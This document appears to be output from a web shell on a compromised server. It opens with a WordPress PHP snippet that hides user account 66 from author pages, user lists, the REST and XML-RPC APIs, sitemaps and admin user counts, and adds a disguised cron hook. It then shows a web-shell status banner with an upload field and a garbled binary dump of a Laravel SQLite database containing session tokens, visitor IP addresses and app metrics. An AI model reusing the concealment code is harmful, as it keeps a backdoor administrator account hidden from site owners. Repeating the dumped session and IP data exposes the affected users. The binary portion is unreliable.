add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/reef_analytics/database/ |
Upload File : |
SQLite format 3 @ � ! � .v� � �
���N 6 q 2026_07_25_000002_add_google_fields_to_users_table3 k 2026_07_25_000001_create_metric_snapshots_table' S 0001_01_01_000002_create_jobs_table( U 0001_01_01_000001_create_cache_table( U 0001_01_01_000000_create_users_table
� ��� -metric_snapshotsusers!migrations
�S9� ����� �* ] %�w�uhWqdub51zlqLi1157SJvwzhu4nuQgOnqviJidm1n84.164.59.52Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36eyJfdG9rZW4iOiJwVmhXdmRLWHlnNjhiWnl0UDJsZG0wNlR2ZzdNWkh0ejI0MUpxY2doIiwiX3ByZXZpb3VzIjp7InVybCI6Imh0dHBzOlwvXC9yZWVmLnJlbGV2YW50aXZlLmRlXC9hcGlcL2Rhc2hib2FyZHNcL2V4ZWMiLCJyb3V0ZSI6ImRhc2hib2FyZC5kYXRhIn0sIl9mbGFzaCI6eyJvbGQiOltdLCJuZXciOltdfX0=jj�� ] %�5�uqg9hVRax1PoqgNP0MmQLeHecNHTY3ONaCtczBZZc176.6.64.228Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:153.0) Gecko/20100101 Firefox/153.0eyJfdG9rZW4iOiIyT2JhR1Y0bFpwSGplVXdnREZ1ZHFTR2kzcklnRXFXNnhyaXE1em9lIiwiX3ByZXZpb3VzIjp7InVybCI6Imh0dHBzOlwvXC9yZWVmLnJlbGV2YW50aXZlLmRlXC9hcGlcL2Rhc2hib2FyZHNcL2V4ZWMiLCJyb3V0ZSI6ImRhc2hib2FyZC5kYXRhIn0sIl9mbGFzaCI6eyJvbGQiOltdLCJuZXciOltdfX0=jj#�� ] %�5�uReMgwTQKjQrCOT5MyHiyaWr8KX0JelOQgLCEFOwH176.4.192.93Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:153.0) Gecko/20100101 Firefox/153.0eyJfdG9rZW4iOiI4dGxhb2d4V1FGUU5mbzYxeG9QRkFDNlF0QUZ2QWs3TFMzYmFCaEdVIiwiX3ByZXZpb3VzIjp7InVybCI6Imh0dHBzOlwvXC9yZWVmLnJlbGV2YW50aXZlLmRlXC9hcGlcL2Rhc2hib2FyZHNcL2V4ZWMiLCJyb3V0ZSI6ImRhc2hib2FyZC5kYXRhIn0sIl9mbGFzaCI6eyJvbGQiOltdLCJuZXciOltdfX0=jj_# �* ] %�w�uHnB9hsQE6yredZQMy5B7OFnRvygyNFt5eq4kYpyF84.164.59.52Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36eyJfdG9rZW4iOiJvbFQzQ2NZVmNlUVhQNHpzQVVDUE5Ub2t0cTM5NTIxMHJkWWVLbmU2IiwiX3ByZXZpb3VzIjp7InVybCI6Imh0dHBzOlwvXC9yZWVmLnJlbGV2YW50aXZlLmRlXC9hcGlcL2Rhc2hib2FyZHNcL2V4ZWMiLCJyb3V0ZSI6ImRhc2hib2FyZC5kYXRhIn0sIl9mbGFzaCI6eyJvbGQiOltdLCJuZXciOltdfX0=jjf�
L y�L��
^
�
�
�
�
�
�
����MMM ,]hWqdub51zlqLi1157SJvwzhu4nuQgOnqviJidm1n,]HnB9hsQE6yredZQMy5B7OFnRvygyNFt5eq4kYpyF,]qg9hVRax1PoqgNP0MmQLeHecNHTY3ONaCtczBZZc,]ReMgwTQKjQrCOT5MyHiyaWr8KX0JelOQgLCEFOwH
� �������������������
� ����VVVVVVVVVVVVVVV jj�jj_#jj#�jjf�
�
�
�
� �
^ ��������p^� 'wallet_clicks#top_screens
/dashboard_sources %app_versions
dau_by_os'retention_14d#funnel_main'registrationsmauwau dau
� Y
�Y�
g!�
�x
} �
F �+��B��* � �:�Stableusersu ��etablejobsjobsCREATE TABLE "jobs" ("id" integer primary key autoincrement not null, "queue" varchar not null, "payload" text not null, "attempts" integer not null, "reserved_at" integer, "available_at" integer not null, "created_at" integer not null)E#�#indexcache_locks_expiration_indexcache_locksCREATE INDEX "cache_locks_expiration_index" on "cache_locks" ("expiration")�$##�tablecache_lockscache_locksCREATE TABLE "cache_locks" ("key" varchar not null, "owner" varchar not null, "expiration" integer not null, primary key ("key"))5I# indexsqlite_autoindex_cache_locks_1cache_locksg
9�indexcache_expiration_indexcacheCREATE INDEX "cache_expiration_index" on "cache" ("expiration")��}tablecachecacheCREATE TABLE "cache" ("key" varchar not null, "value" text not null, "expiration" integer not null, primary key ("key")))= indexsqlite_autoindex_cache_1cache
|
E�#indexsessions_last_activity_indexsessionsCREATE INDEX "sessions_last_activity_index" on "sessions" ("last_activity")j 9�indexsessions_user_id_indexsessions
CREATE INDEX "sessions_user_id_index" on "sessions" ("user_id")�W�tablesessionssessionsCREATE TABLE "sessions" ("id" varchar not null, "user_id" integer, "ip_address" varchar, "user_agent" text, "payload" text not null, "last_activity" integer not null, primary key ("id"))/C indexsqlite_autoindex_sessions_1sessions �>77�tablepassword_reset_tokenspassword_reset_tokensCREATE TABLE "password_reset_tokens" ("email" varchar not null, "token" varchar not null, "created_at" datetime, primary key ("email"))I]7 indexsqlite_autoindex_password_reset_tokens_1password_reset_tokens c P++Ytablesqlite_sequencesqlite_sequenceCREATE TABLE sqlite_sequence(name,seq)�$!!�tablemigrationsmigrationsCREATE TABLE "migrations" ("id" integer primary key autoincrement not null, "migration" varchar not null, "batch" integer not null)
�H�(�
�
�y
m9�indexusers_google_id_uniqueusersCREATE UNIQUE INDEX "users_google_id_unique" on "users" ("google_id")a1�indexusers_email_uniqueusersCREATE UNIQUE INDEX "users_email_unique" on "users" ("email")�1�AtableusersusersCREATE TABLE "users" ("id" integer primary key autoincrement not null, "name" varchar not null, "email" varchar not null, "email_verified_at" datetime, "password" varchar, "remember_token" varchar, "created_at" datetime, "updated_at" datetime, "google_id" varchar, "avatar" varchar)�C-�+indexmetric_snapshots_key_uniquemetric_snapshotsCREATE UNIQUE INDEX "metric_snapshots_key_unique" on "metric_snapshots" ("key")�--�Ytablemetric_snapshotsmetric_snapshotsCREATE TABLE "metric_snapshots" ("id" integer primary key autoincrement not null, "key" varchar not null, "label" varchar not null, "payload" text, "fetched_at" datetime, "error" text, "created_at" datetime, "updated_at" datetime)v;#�indexfailed_jobs_uuid_uniquefailed_jobsCREATE UNIQUE INDEX "failed_jobs_uuid_unique" on "failed_jobs" ("uuid")�5e#�oindexfailed_jobs_connection_queue_failed_at_indexfailed_jobsCREATE INDEX "failed_jobs_connection_queue_failed_at_index" on "failed_jobs" ("connection", "queue", "failed_at")�.##�#tablefailed_jobsfailed_jobsCREATE TABLE "failed_jobs" ("id" integer primary key autoincrement not null, "uuid" varchar not null, "connection" varchar not null, "queue" varchar not null, "payload" text not null, "exception" text not null, "failed_at" datetime not null default CURRENT_TIMESTAMP)5I# indexsqlite_autoindex_job_batches_1job_batches�`##�tablejob_batchesjob_batchesCREATE TABLE "job_batches" ("id" varchar not null, "name" varchar not null, "total_jobs" integer not null, "pending_jobs" integer not null, "failed_jobs" integer not null, "failed_job_ids" text not null, "options" text, "cancelled_at" integer, "created_at" integer not null, "finished_at" integer, primary key ("id"))S-sindexjobs_queue_indexjobsCREATE INDEX "jobs_queue_index" on "jobs" ("queue")
� �
c � �
'-�k3 33retention_14d14-day retention{"type":"retention","cohorts":[{"label":"Day 0","date":"2026-07-23T00:00:00+02:00","size":0,"values":[0,0,0,0,0,0,0,0,null,null,null,null,null,null,null]},{"label":"Day 1","date":"2026-07-24T00:00:00+02:00","size":1,"values":[100,0,0,0,0,0,0,null,null,null,null,null,null,null,null]},{"label":"Day 2","date":"2026-07-25T00:00:00+02:00","size":0,"values":[0,0,0,0,0,0,null,null,null,null,null,null,null,null,null]},{"label":"Day 3","date":"2026-07-26T00:00:00+02:00","size":1,"values":[100,0,0,0,0,null,null,null,null,null,null,null,null,null,null]},{"label":"Day 4","date":"2026-07-27T00:00:00+02:00","size":1,"values":[100,0,0,0,null,null,null,null,null,null,null,null,null,null,null]},{"label":"Day 5","date":"2026-07-28T00:00:00+02:00","size":0,"values":[0,0,0,null,null,null,null,null,null,null,null,null,null,null,null]},{"label":"Day 6","date":"2026-07-29T00:00:00+02:00","size":1,"values":[100,0,null,null,null,null,null,null,null,null,null,null,null,null,null]},{"label":"Day 7","date":"2026-07-30T00:00:00+02:00","size":0,"values":[0,null,null,null,null,null,null,null,null,null,null,null,null,null,null]}],"meta":{"insight_id":1457217,"description":"Users returning after first app open"}}2026-07-30 02:00:022026-07-25 18:59:212026-07-30 02:00:02�}
''�M3 33registrationsRegistrations{"type":"series","labels":["2026-06-29","2026-06-30","2026-07-01","2026-07-02","2026-07-03","2026-07-04","2026-07-05","2026-07-06","2026-07-07","2026-07-08","2026-07-09","2026-07-10","2026-07-11","2026-07-12","2026-07-13","2026-07-14","2026-07-15","2026-07-16","2026-07-17","2026-07-18","2026-07-19","2026-07-20","2026-07-21","2026-07-22","2026-07-23","2026-07-24","2026-07-25","2026-07-26","2026-07-27","2026-07-28","2026-07-29","2026-07-30"],"series":[{"name":"Total","data":[0,8,15,27,57,63,67,80,99,104,111,118,125,128,130,131,131,131,135,135,135,136,139,139,139,140,140,141,142,142,143,143]}],"meta":{"insight_id":4873294,"description":"Cumulative registered users"}}2026-07-30 02:00:022026-07-25 18:59:212026-07-30 02:00:02�l
1�53 33dauDaily active users{"type":"series","labels":["2026-06-29","2026-06-30","2026-07-01","2026-07-02","2026-07-03","2026-07-04","2026-07-05","2026-07-06","2026-07-07","2026-07-08","2026-07-09","2026-07-10","2026-07-11","2026-07-12","2026-07-13","2026-07-14","2026-07-15","2026-07-16","2026-07-17","2026-07-18","2026-07-19","2026-07-20","2026-07-21","2026-07-22","2026-07-23","2026-07-24","2026-07-25","2026-07-26","2026-07-27","2026-07-28","2026-07-29","2026-07-30"],"series":[{"name":"$screen","data":[3,24,31,43,68,49,55,69,95,80,83,76,71,60,73,69,61,54,54,58,44,50,42,40,36,47,37,35,34,33,31,5]}],"meta":{"insight_id":1457222,"description":"Unique users opening the app per day"}}2026-07-30 02:00:012026-07-25 18:59:212026-07-30 02:00:01�`
3�3 33wauWeekly active users{"type":"series","labels":["2026-06-28","2026-07-05","2026-07-12","2026-07-19","2026-07-26"],"series":[{"name":"user_opened_app","data":[99,141,55,60,27]}],"meta":{"insight_id":4873667,"description":"Unique users per week (mobile SDKs, internal users excluded)"}}2026-07-30 02:00:022026-07-25 18:59:212026-07-30 02:00:02�o
#/�-3 33funnel_mainActivation funnel{"type":"funnel","steps":[{"name":"Installed app","count":339,"rate":100},{"name":"Registered","count":161,"rate":47.5},{"name":"Added data source","count":83,"rate":24.5}],"meta":{"insight_id":4871651,"description":"Installed \u2192 Registered \u2192 Added data source"}}2026-07-30 02:00:022026-07-25 18:59:212026-07-30 02:00:02 �%
5�#3 33mauMonthly active users{"type":"series","labels":["2026-04-01","2026-05-01","2026-06-01","2026-07-01"],"series":[{"name":"All events","data":[7,43,48,237]}],"meta":{"insight_id":1405066,"description":"Unique users per month"}}2026-07-30 02:00:022026-07-25 18:59:212026-07-30 02:00:02
%
��� �
/?�o3 33dashboard_sourcesDashboard views by source{"type":"series","labels":["2026-06-29","2026-06-30","2026-07-01","2026-07-02","2026-07-03","2026-07-04","2026-07-05","2026-07-06","2026-07-07","2026-07-08","2026-07-09","2026-07-10","2026-07-11","2026-07-12","2026-07-13","2026-07-14","2026-07-15","2026-07-16","2026-07-17","2026-07-18","2026-07-19","2026-07-20","2026-07-21","2026-07-22","2026-07-23","2026-07-24","2026-07-25","2026-07-26","2026-07-27","2026-07-28","2026-07-29","2026-07-30"],"series":[{"name":"amazon","data":[0,0,0,1,1,0,0,4,20,24,24,25,21,19,25,21,20,18,23,23,22,21,18,17,15,21,18,14,14,13,14,1]},{"name":"gps","data":[0,15,12,15,32,15,11,27,33,22,11,15,10,7,7,9,5,6,8,3,4,4,8,4,3,8,5,5,5,4,4,0]},{"name":"rewe","data":[0,4,2,4,6,7,2,5,8,6,3,0,3,1,1,3,2,0,2,0,1,2,3,2,1,3,2,2,1,1,0,0]},{"name":"lidl","data":[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0]}],"meta":{"insight_id":5114436,"description":"Users viewing a non-empty dashboard, by data source"}}2026-07-30 02:00:032026-07-25 18:59:222026-07-30 02:00:03�-
/�-3 33dau_by_osDaily users by OS{"type":"series","labels":["2026-06-29","2026-06-30","2026-07-01","2026-07-02","2026-07-03","2026-07-04","2026-07-05","2026-07-06","2026-07-07","2026-07-08","2026-07-09","2026-07-10","2026-07-11","2026-07-12","2026-07-13","2026-07-14","2026-07-15","2026-07-16","2026-07-17","2026-07-18","2026-07-19","2026-07-20","2026-07-21","2026-07-22","2026-07-23","2026-07-24","2026-07-25","2026-07-26","2026-07-27","2026-07-28","2026-07-29","2026-07-30"],"series":[{"name":"iOS","data":[0,14,21,22,34,23,10,27,40,31,36,24,21,12,14,15,11,13,14,7,10,12,7,8,4,16,11,8,9,5,7,0]},{"name":"Android","data":[1,6,3,8,13,3,8,12,20,9,7,6,4,2,4,2,4,1,5,1,3,5,3,1,4,4,2,2,2,0,0,0]},{"name":"iPadOS","data":[0,0,0,0,0,0,2,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]}],"meta":{"insight_id":4873296,"description":"Daily active users broken down by operating system"}}2026-07-30 02:00:022026-07-25 18:59:222026-07-30 02:00:02�I
%5�Y3 33app_versionsApp version adoption{"type":"series","labels":["2026-07-23","2026-07-24","2026-07-25","2026-07-26","2026-07-27","2026-07-28","2026-07-29","2026-07-30"],"series":[{"name":"1.0.0","data":[34,43,35,34,32,29,26,3]},{"name":"0.0.18","data":[1,4,3,3,4,3,5,2]},{"name":"0.0.19","data":[1,1,0,1,1,1,0,0]}],"meta":{"insight_id":4873297,"description":"Daily active users by app version"}}2026-07-30 02:00:032026-07-25 18:59:222026-07-30 02:00:03 �^
#3�3 33top_screensMost common screens{"type":"ranking","items":[{"name":"\/home","value":614},{"name":"\/settings","value":76},{"name":"\/welcome","value":57},{"name":"\/wallet","value":46},{"name":"\/data\/connectAmazon","value":38},{"name":"\/provideData","value":33},{"name":"\/data\/connectGoogle","value":28},{"name":"Other","value":252}],"meta":{"insight_id":1457224,"description":"Screen views by screen name"}}2026-07-30 02:00:032026-07-25 18:59:222026-07-30 02:00:03 �w
'/�93 33wallet_clicksWallet engagement{"type":"series","labels":["2026-07-23","2026-07-24","2026-07-25","2026-07-26","2026-07-27","2026-07-28","2026-07-29","2026-07-30"],"series":[{"name":"$screen","data":[3,5,2,1,4,1,3,0]}],"meta":{"insight_id":3309559,"description":"Unique users clicking the wallet tab per day"}}2026-07-30 02:00:032026-07-25 18:59:222026-07-30 02:00:03 !